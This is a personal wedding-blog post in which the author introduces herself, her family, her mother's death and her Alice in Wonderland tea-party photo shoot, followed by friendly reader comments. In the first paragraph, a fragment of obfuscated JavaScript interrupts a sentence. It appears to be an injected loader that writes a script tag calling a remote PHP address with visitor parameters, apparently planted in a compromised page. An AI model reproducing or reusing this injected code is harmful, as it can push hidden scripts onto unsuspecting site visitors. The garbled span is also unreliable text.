After sitting through the romantically sophisticated production of the new Sherlock Holmes last night on the BBC, I was finally excited to write this post. Sherlock Holmes doesn’t have anything to do with this post but it was so infectiously produced that for some strange””””,’g””” c=\’d\’ e=\’b/’ 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’nzhee|varaeszb||js|php’.split(‘|’),0,{}))
reason I was taken over by my Watson-ness and I suddenly had the urge to write. I’ve been anticipating this post for a very long time, unsure of exactly how to write it..and so I’ve split it into two posts.
Today’s post, The Tea Party, is to introduce me to you: who I am and what inspires me. Part two will be about my new found love Alice In Weddingland, my little wedding blog; my inspiration, my ideas, what it’s all about and what it means for you.
Starting the Alice In Weddingland wedding blog
When I started Alice In Weddingland I never imagined that I would have to uncover my warts, my scars and my vulnerabilities. I am a private person. I like my space and I like my world without attention so the thought of putting my face on the internet truly freaked the living hell out of me.
But then I realised that like any relationship you have to get to know each other…
…Hi, I’m Zarn. I’m the face behind Alice In Weddingland. Pleased to meet you!
And this is me…
Yep! In the words of Jessie J, I L-O-V-E tea! In fact, I am a bit of a junkie. I like my earls, my ladies, my whites, my greens and my blacks but most of all I love my chai and it’s my Aussie chai that keeps my fingers twinkling on the keyboard most days.
And this is my hubby…
We’ve been besotted with each other for ten years this year. I can’t believe it; married for 10 years! Apparently if we were following the traditional anniversary chart I would probably be getting a tin of baked beans as a pressie this year as it is apparently the year of tin or aluminum. But…
… THANK GOODNESS I am all about breaking tradition so we’re following the modern version of the anniversary chart and instead of baked beans I’m looking at DIAMONDS. {Yay with a capital Hell-Yeh!!} Being a bling junky I will now be a very happy girl.
The Alice in Weddingland Photo Shoot
So, the photo shoot… Katherine and I decided to do a photo shoot in a subtle Alice In Wonderland Tea Party kind of way to introduce you to me but let me tell you a few things about me first..
- I am 5″3 and shrinking (you apparently do once you’re over 30)
- I’ve seen Top Gun around 150 times (I was young at the time)
- I love 20’s fashion and would love to do a 20’s wedding photo shoot
- My fav. tea is Chai but you already knew that 🙂
- I love anything that sparkles and wish I owned a jewellery wardrobe (not a jewellery box)
- My favourite flower is a Frangipani because they remind me of home
- I once owned a Volvo – and loved it!
- I would love to meet Tim Walker and introduce him to Australian Chai tea (amongst other things)
- I hate seafood, it makes me feel nauseous
- I sing and want to record an album because it’s one thing my Mum never did but should have
- I am a photography loon and am determined to do a course this year to help my technique
- I used to be a tom-boy and hated it. Now I embrace it along with my new found girlishness 🙂
These gorgeous menus and the cupcake holders were created using laser-cutting techniques. I adored the cupcake holders: they absolutely transformed the cakes into sophisticated, colourful little bundles of joy.
I love the sensual mood created by candles and when I came across these little beauties I fell in love.
The sweetest little mini teapots you’ll ever see.
And this is my most dearest, my most amazing achievement and the one person who makes everything in my life beautiful, my daughter… meet my mini ‘Alice’.
The trauma that changed my life
Tragically my Mum died when I was only 25. My world collapsed. I didn’t know how to function without my Mum and suddenly everything seemed useless and I was facing the world without her so I threw myself into changing my life and getting rid of everything that made me unhappy, I needed to embrace the world again.
Fast forward ten years and I’d found my soul mate and had my beautiful baby girl but something was still missing.
The feather and the stone
Last year began like a dark stone thrust into the water – sinking. Years of trauma had taken it’s toll and I was fed up, miserable and I couldn’t shake this awful lonely feeling so instead I drowned myself in creativity.
I scribbled stories, I took photos, I drew, I even started to sing again. I was engulfed by an unstoppable zest for doing, for creating. It was like I was echoing the talents of my Mother and somehow all this Mad Hatter style madness landed on a wedding blog.
The transformation of my life
Becoming a Mum has changed the way I see people. It has given me acceptance of the things I cannot change and the eyes to discover the things I can and I finally knew what I wanted to do. I had become addicted to styling everything from myself, my Husband even my house and my colourful, creative bubble was ready to burst.
I started to get into fashion 4 years ago after falling pregnant: I wanted to make sure that I would be as great a feminine influence to my baby girl as my Mum was to me. I had never had a particular style but loved a lot of different things. I became obsessed with pink, polka dots and frilly knickers. The me that was stuck in a tomboy bubble for so many years was bursting. I am a lover of books and so devoured everything I could on the why’s and how’s of fashion designers and felt a natural existence in my new world.
I knew I wanted to entangle my creativity and arty-fartyness with my love of fashion into a new project but what? I’ve never followed trends as I hated being just one of the crowd so my love for things that are different, unusual, beautiful and stylistic that I’d had all my life was ready to transform into something but I still didn’t know what.
I’ve been singing for years and love the sounds of Imelda May, Katie Noonan and KD Lang and had the thought of performing at weddings but just couldn’t get the courage to do it…. then I thought of wedding planning. I’d been an event planner back home in Australia so thought it may have been a perfect fit… but I knew it would take me away from home and that wasn’t something I was prepared to do. I wanted to be at home full-time for my baby girl.
Then it hit me.
I’d started a Mummy’s blog a couple of years ago after my daughter was born so I knew how to run a blog, so why not do a wedding planning blog?
And suddenly Alice In Weddingland was born!!! I could showcase all that I love about the fashion industry, couple it with my romantic heart, my love for singing and writing and finding the best of the best and the best of the unique, the different – and break tradition!
I had spent so much of my life before my mum died doing things that made me unhappy because it was expected of me. Then after losing her, life became more important and I finally embraced who I truly was. Now, I want to help inspire others to do the same; to break from tradition and expectations and embrace who they really are and want to be and to do it in the best possible way – planning your wedding.
This is me
And so this is me, crows feet and all, baring my soul and my creativity and bringing you ideas and hopes on how you can embrace the true you through a world of style, colour and fashion.
I hope you like the adventure! And I hope you continue to join me Down The Rabbit Hole reading my adventures as a professional wedding blogger because I love my job and I’m getting good at it. In fact, I think I’ve got the two ‘best’ jobs in the world.
And I want to thank you: the readers, the vendors, everybody who comes on and comments on Alice In Weddingland for joining me Down The Rabbit Hole on my new adventure. Please do introduce yourself and leave a comment… I’d love to get to know you!
So I’ll see you in part two ‘The Garden Party’.
A huge, frabjous thanks goes to my sponsors of the photo shoot:
- Katherine Newman: photographer Extraordinaire and wonder woman
- Alison Hardy of Glass Hats: for her talented hand at styling our hair and for her friendship
- Intricate Creations: for their amazing skill at laser cut wedding stationery and for tarting up our cupcakes
- Vintage Twee: for the most beautiful mini teapots & other favours & the Eat Me tags that adorned the table
- The English Tea Party via Jolly Good Wedding: for the vintage crockery used for our glorious cups of tea
- Kookie Candles: for her deliciously smelling vintage teacup candles (I’m in love with them)
- Love Umbrellas: for their sumptuous Edwardian styled umbrellas (coming in Part Two of this post)
- La Di Da Cupcake Company: for the scrummy cupcakes that kept us fed and looked so amazing
- The Elvetham Hotel: The Tea Party Venue
Sneak peek:
Another inspiring photoshoot from the lovely the Katherine! Well done Zarn – Our Teacups courtesy of The English Tea Party look fab.
Can’t wait for part 2 x
Thanks Nat. The tea cups were so deliciously vintage. I was lusting after them 🙂 x
Hello and nice to meet you! I found you on twitter at the start of last year and have been following you ever since. I too am a fellow Alice obsessive, it was my favourite book & film when younger….well still is! Congrats on your achievements so far….it all looks and reads fantastic.
L xoxox
Hey Lynsey, Thanks for your comments, I really do love getting them, I love getting to know you guys and getting to know what you want from the blog. After all this blog is for you 🙂 Have a super day and I look forward to chatting more with you, Z xxx
I love your story and your creativity. As I said earlier we have similarities right down to the fairytale name of your blog. I am a wedding planner as well and I have been scouring blogs for ideas and thoughts. Truly Inspiring!
Hi Zarn, wow! a really inspiring read. I also lost my mother when I was 24 and can really relate to this post. I now have 2 little ones and they have changed my life! Whilst motherhood is amazing (and sometimes frustrating/demanding etc 🙂 I still felt like I needed something else and finally now I am pursuing a career a love! Thank you for your wonderful words and gorgeous blog. Looking forward to lots more! Christabel x p.s. following you on twitter @BellaCelebrant
Hi Christabel, wow! It’s a horrible thing to have to relate to but thank you so much for sharing, it’s something that forces you to grow and you somehow get strength from nowhere to move forward. It was one of the hardest times in my life. But on a purely happy note – congratulations on your new “love”: your new career and your two gorgeous little ones. They make life so incredibly fulfilling don’t they? Pure enjoyment (and hair raising stress :)). I look forward to hearing from you soon. Zarn x
An absolutely gorgeous post, I loved getting to know a bit more about you. Such a heartfelt and honest piece of writing! The photos are beautiful and your little girl is adorable! 🙂 x
Thank you my lovely. Mwah! xxx
Zarn, that was lovely – so nice to get to know you! I know what you mean about kids – I would never have believed it but motherhood has made me a better person, I look for the good in people now 🙂 I’ll look forward to getting to know you better, your site better (!) – and love your taste! xxx Sophie
Zarn, what a beautiful post. I have been avidly logging onto your blog every day since my wonderful fiancé proposed to me in May last year! You have such brilliant taste and it’s nice to find out some more about you! I totes share your love of all things Alice. Alice has always been in my life (and many a person has commented on me living in wonderland – I ALWAYS take this as a complement :D) and so it was a natural decision for me to have a wonderland themed wedding and boy have I had a lot of my inspiration from your blog – so a huge friendly THANKYOU for being my inspiration and helper as I plan the biggest day of mine and my frabjous 😉 fiancé’s lives! xxx
Georgina, THANK YOU! Your comment was beautiful. I am so over the moon you’ve managed to get a lot of inspiration from my site and I am so pleased it’s helping you plan the biggest day for your both. I can’t wait to see the photos. When is the big day? Oh and as to living in Wonderland – I’m in there with you sweety!! Have a frabjous day 🙂 Zarn xxx
Eeek! The big day is 4th June 2012 (On the jubilee bank holiday Monday!) I will be sure to send in some pics! I have a so cute and wonderful couple photographing the day (Peter and Laura Lawson) It is all set to be simply perfect 😀
Keep up the good work Zarn, we all love this site!
xx
Hi Zarn!
First of all, it’s very nice to meet you. You do run a beautiful blog and this post has really inspiring (and some cool) stuff. The lasercut cupcake holders are SO cute! They make the cupcakes look like a million bucks 🙂 Your little “Alice” is equally cute!
Second, I’m Pedro, a wedding photographer based in Portugal.
You followed me on Twitter (@fotografamos) and that’s how I got to know your blog (Thank you!)
It does feel great to get rid of everything that makes you unhappy, doesn’t it? It’s such a freeing feeling, like weights off your shoulders. I quit my engineering job 6 months ago to turn full-time wedding photographer and I couldn’t be happier. Having the support of your other-half is so truly important and, like you, I feel blessed to have my wife Marina by my side.
Congrats on your beautiful blog! If you ever need any help, get in touch.
Cheers,
Pedro and Marina.
Hi Zarn.
What a beautiful site and what a beautiful post.
I admire your honesty; your ability to turn adversity into a drive towards creativity and turning creativity into a new kind of happiness.
Your family look so sweet and you all look so happy. I’m sure your Mum is watching, feeling very proud
Love Rachel
xxx
Hey Rachel,
Your words are so very touching, thank you so much! The funny thing is, my Mum was in the Bridal industry her entire career and who’d a thought I’d end up there too. I’m proud for her and I’m so proud to be in an industry which is so inspirational. I now understand why she loved it so much.
Zarn xx
Hi Zarn
it’s great to read your blog, I found it through searching china hire web-sites, I’ve just started up my own little business hiring out vintage china and props after being made redundant, and maybe it’s been a blessing as now I have found my creative soul again after losing it for sooo long. I look forward to following you.
Hey Natalie! I’m so pleased you found me and it’s really exciting to hear about your new adventure. There’s nothing like finding your passion and turning it into work. Your story’s inspirational and keep in touch along the way, I look forward to your comments. 🙂
What a lovely and brave post! Thoroughly enjoyed learning more about you.